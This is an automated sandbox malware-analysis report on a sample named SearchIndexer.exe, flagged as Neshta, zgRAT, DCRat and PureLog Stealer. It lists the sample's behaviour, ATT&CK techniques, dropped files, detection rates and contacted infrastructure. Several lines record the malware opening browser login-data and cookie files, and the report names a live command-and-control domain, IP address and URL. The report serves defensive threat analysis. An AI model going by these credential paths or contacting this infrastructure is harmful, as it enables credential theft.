                              Source: Yara matchFile source: 1.0.SearchIndexer.exe.a60000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 00000001.00000000.1712832866.0000000000A62000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000003.1708339397.0000000002230000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Windows Defender\SearchIndexer.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe, type: DROPPED
                              Yara detected zgRAT
                              Source: Yara matchFile source: SearchIndexer.exe, type: SAMPLE
                              Source: Yara matchFile source: 1.0.SearchIndexer.exe.a60000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Windows Defender\SearchIndexer.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe, type: DROPPED
                              Tries to harvest and steal browser information (history, passwords, etc)
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

                              Remote Access Functionality

                              barindex
                              Yara detected DCRat
                              Source: Yara matchFile source: 00000001.00000002.2127156307.00000000132DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: Process Memory Space: SearchIndexer.exe PID: 3168, type: MEMORYSTR
                              Source: Yara matchFile source: Process Memory Space: tAVtSoJGTaCxrZiXcJn.exe PID: 8740, type: MEMORYSTR
                              Yara detected PureLog Stealer
                              Source: Yara matchFile source: SearchIndexer.exe, type: SAMPLE
                              Source: Yara matchFile source: 1.0.SearchIndexer.exe.a60000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 00000001.00000000.1712832866.0000000000A62000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000003.1708339397.0000000002230000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Windows Defender\SearchIndexer.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe, type: DROPPED
                              Yara detected zgRAT
                              Source: Yara matchFile source: SearchIndexer.exe, type: SAMPLE
                              Source: Yara matchFile source: 1.0.SearchIndexer.exe.a60000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Windows Defender\SearchIndexer.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe, type: DROPPED

                              Mitre Att&ck Matrix

                              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                              Gather Victim Identity Information1
                              Scripting                              		Valid Accounts141
                              Windows Management Instrumentation                              		1
                              Scripting                              		11
                              Process Injection                              		333
                              Masquerading                              		1
                              OS Credential Dumping                              		341
                              Security Software Discovery                              		1
                              Taint Shared Content                              		11
                              Input Capture                              		1
                              Encrypted Channel                              		Exfiltration Over Other Network MediumAbuse Accessibility Features
                              CredentialsDomainsDefault AccountsScheduled Task/Job31
                              Registry Run Keys / Startup Folder                              		31
                              Registry Run Keys / Startup Folder                              		21
                              Disable or Modify Tools                              		11
                              Input Capture                              		1
                              Process Discovery                              		Remote Desktop Protocol1
                              Archive Collected Data                              		2
                              Non-Application Layer Protocol                              		Exfiltration Over BluetoothNetwork Denial of Service
                              Email AddressesDNS ServerDomain AccountsAt1
                              DLL Side-Loading                              		1
                              DLL Side-Loading                              		261
                              Virtualization/Sandbox Evasion                              		Security Account Manager261
                              Virtualization/Sandbox Evasion                              		SMB/Windows Admin Shares1
                              Data from Local System                              		12
                              Application Layer Protocol                              		Automated ExfiltrationData Encrypted for Impact
                              Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook11
                              Process Injection                              		NTDS1
                              Application Window Discovery                              		Distributed Component Object Model1
                              Clipboard Data                              		Protocol ImpersonationTraffic DuplicationData Destruction
                              Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                              Obfuscated Files or Information                              		LSA Secrets2
                              File and Directory Discovery                              		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                              Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
                              DLL Side-Loading                              		Cached Domain Credentials144
                              System Information Discovery                              		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                              DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                              File Deletion                              		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

                              Behavior Graph

                              Hide Legend

                              Legend:

                              • Process
                              • Signature
                              • Created File
                              • DNS/IP Info
                              • Is Dropped
                              • Is Windows Process
                              • Number of created Registry Values
                              • Number of created Files
                              • Visual Basic
                              • Delphi
                              • Java
                              • .Net C# or VB.NET
                              • C, C++ or other language
                              • Is malicious
                              • Internet
                              behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1589995 Sample: SearchIndexer.exe Startdate: 13/01/2025 Architecture: WINDOWS Score: 100 93 519600cl.nyashtop.top 2->93 97 Suricata IDS alerts for network traffic 2->97 99 Found malware configuration 2->99 101 Malicious sample detected (through community Yara rule) 2->101 103 21 other signatures 2->103 9 SearchIndexer.exe 4 2->9         started        13 svchost.com 2->13         started        15 svchost.com 2->15         started        17 9 other processes 2->17 signatures3 process4 dnsIp5 83 C:\Windows\svchost.com, PE32 9->83 dropped 85 C:\Users\user\AppData\Local\Temp\chrome.exe, PE32 9->85 dropped 87 C:\Users\user\AppData\...\SearchIndexer.exe, PE32 9->87 dropped 89 150 other malicious files 9->89 dropped 119 Creates an undocumented autostart registry key 9->119 121 Drops PE files with a suspicious file extension 9->121 123 Drops or copies MsMpEng.exe (Windows Defender, likely to bypass HIPS) 9->123 127 2 other signatures 9->127 20 SearchIndexer.exe 9 45 9->20         started        125 Drops executables to the windows directory (C:\Windows) and starts them 13->125 24 tAVtSoJGTaCxrZiXcJn.exe 13->24         started        27 RuntimeBroker.exe 15->27         started        91 127.0.0.1 unknown unknown 17->91 29 SearchIndexer.exe 17->29         started        31 tAVtSoJGTaCxrZiXcJn.exe 17->31         started        33 RuntimeBroker.exe 17->33         started        35 5 other processes 17->35 file6 signatures7 process8 dnsIp9 65 C:\Windows\...\tAVtSoJGTaCxrZiXcJn.exe, PE32 20->65 dropped 67 C:\Users\user\Desktop\zysYIoOi.log, PE32 20->67 dropped 69 C:\Users\user\Desktop\zpVYYBvm.log, PE32 20->69 dropped 77 26 other malicious files 20->77 dropped 105 Creates an undocumented autostart registry key 20->105 107 Creates multiple autostart registry keys 20->107 109 Creates an autostart registry key pointing to binary in C:\Windows 20->109 111 Adds a directory exclusion to Windows Defender 20->111 37 csc.exe 4 20->37         started        41 powershell.exe 23 20->41         started        43 powershell.exe 20->43         started        45 17 other processes 20->45 95 519600cl.nyashtop.top 37.44.238.250, 49736, 49737, 49738 HARMONYHOSTING-ASFR France 24->95 71 C:\Users\user\Desktop\zAChyMGX.log, PE32 24->71 dropped 73 C:\Users\user\Desktop\yVVZwldW.log, PE32 24->73 dropped 75 C:\Users\user\Desktop\uWHiFCKf.log, PE32 24->75 dropped 79 19 other malicious files 24->79 dropped 113 Tries to harvest and steal browser information (history, passwords, etc) 24->113 file10 signatures11 process12 file13 81 C:\Windows\...\SecurityHealthSystray.exe, PE32 37->81 dropped 115 Infects executable files (exe, dll, sys, html) 37->115 47 conhost.exe 37->47         started        49 cvtres.exe 1 37->49         started        117 Loading BitLocker PowerShell Module 41->117 51 conhost.exe 41->51         started        53 WmiPrvSE.exe 41->53         started        55 conhost.exe 43->55         started        57 conhost.exe 45->57         started        59 conhost.exe 45->59         started        61 conhost.exe 45->61         started        63 17 other processes 45->63 signatures14 process15

                              Screenshots

                              Thumbnails

                              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                              windows-stand

                              Antivirus, Machine Learning and Genetic Malware Detection

                              Initial Sample

                              SourceDetectionScannerLabelLink
                              SearchIndexer.exe89%VirustotalBrowse
                              SearchIndexer.exe100%ReversingLabsWin32.Virus.Neshta
                              SearchIndexer.exe100%AviraW32/Neshta.A
                              SearchIndexer.exe100%Joe Sandbox ML

                              Dropped Files

                              SourceDetectionScannerLabelLink
                              C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\AutoIt3\Uninstall.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\AutoIt3\Au3Check.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\AutoIt3\Au3Info.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE100%AviraW32/Neshta.A
                              C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe100%AviraW32/Neshta.A
                              C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\AutoIt3\Uninstall.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\AutoIt3\Au3Check.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\AutoIt3\Au3Info.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE100%Joe Sandbox ML
                              C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\AutoIt3\Au3Check.exe95%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\AutoIt3\Au3Info.exe95%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe95%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe95%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe95%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe97%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe95%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe95%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\AutoIt3\Uninstall.exe95%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Java\jre-1.8\bin\java.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe100%ReversingLabsWin32.Virus.Neshta
                              C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE100%ReversingLabsWin32.Virus.Neshta

                              Unpacked PE Files

                              ⊘No Antivirus matches

                              Domains

                              ⊘No Antivirus matches

                              URLs

                              ⊘No Antivirus matches

                              Domains and IPs

                              Contacted Domains

                              NameIPActiveMaliciousAntivirus DetectionReputation
                              519600cl.nyashtop.top
                              		37.44.238.250
                              		truetrue

                                Contacted URLs

                                NameMaliciousAntivirus DetectionReputation
                                http://519600cl.nyashtop.top/authDatalifeCdnTemporary.phptrue

                                  URLs from Memory and Binaries

                                  NameSourceMaliciousAntivirus DetectionReputation
                                  https://g.live.com/odclientsettings/Prod.C:svchost.exe, 00000039.00000003.2223535604.000001F848872000.00000004.00000800.00020000.00000000.sdmpfalse
                                    https://g.live.com/odclientsettings/ProdV2svchost.exe, 00000039.00000003.2223535604.000001F8488C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                      https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ffDilithium2Dilithmsedge_pwa_launcher.exe.0.drfalse
                                        http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000023.00000002.2406346739.0000023FC8DD6000.00000004.00000800.00020000.00000000.sdmpfalse
                                          https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96svchost.exe, 00000039.00000003.2223535604.000001F8488C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                            http://schemas.xmlsoap.org/soap/encoding/powershell.exe, 00000006.00000002.2380149744.000002188D156000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2424810215.00000192C3BD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2351479480.0000028BABC58000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2367386836.000001CF3F4C7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2273115603.000001EC671F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2340732680.000001873D826000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2455236974.0000021C9130C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2279814980.0000022E00228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2566609879.00000215B54D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2428077401.0000023B9D086000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2344843227.000002055E506000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2345104737.0000026687587000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2363316701.0000019F3E878000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2337060315.000002788E066000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000020.00000002.2404230691.000001FF4A686000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2341421226.000001AEC91AF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2348354305.0000025C57347000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2406346739.0000023FC8E20000.00000004.00000800.00020000.00000000.sdmpfalse
                                              http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000023.00000002.2406346739.0000023FC8DD6000.00000004.00000800.00020000.00000000.sdmpfalse
                                                https://ion=v4.5powershell.exe, 00000014.00000002.2496719143.00000215B51E5000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  http://schemas.xmlsoap.org/wsdl/powershell.exe, 00000006.00000002.2380149744.000002188D156000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2424810215.00000192C3BD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2351479480.0000028BABC58000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2367386836.000001CF3F4C7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2273115603.000001EC671F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2340732680.000001873D826000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2455236974.0000021C9130C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2279814980.0000022E00228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2566609879.00000215B54D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2428077401.0000023B9D086000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2344843227.000002055E506000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2345104737.0000026687587000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2363316701.0000019F3E878000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2337060315.000002788E066000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000020.00000002.2404230691.000001FF4A686000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2341421226.000001AEC91AF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2348354305.0000025C57347000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2406346739.0000023FC8E20000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    https://g.live.com/odclientsettings/ProdV2.C:svchost.exe, 00000039.00000003.2223535604.000001F8488A3000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      http://127.0.0.1:13556/InsiderSlabBehaviorReportedBuildInsiderSlabBehaviorInsiderSlabBehaviorReporteintegrator.exe.0.drfalse
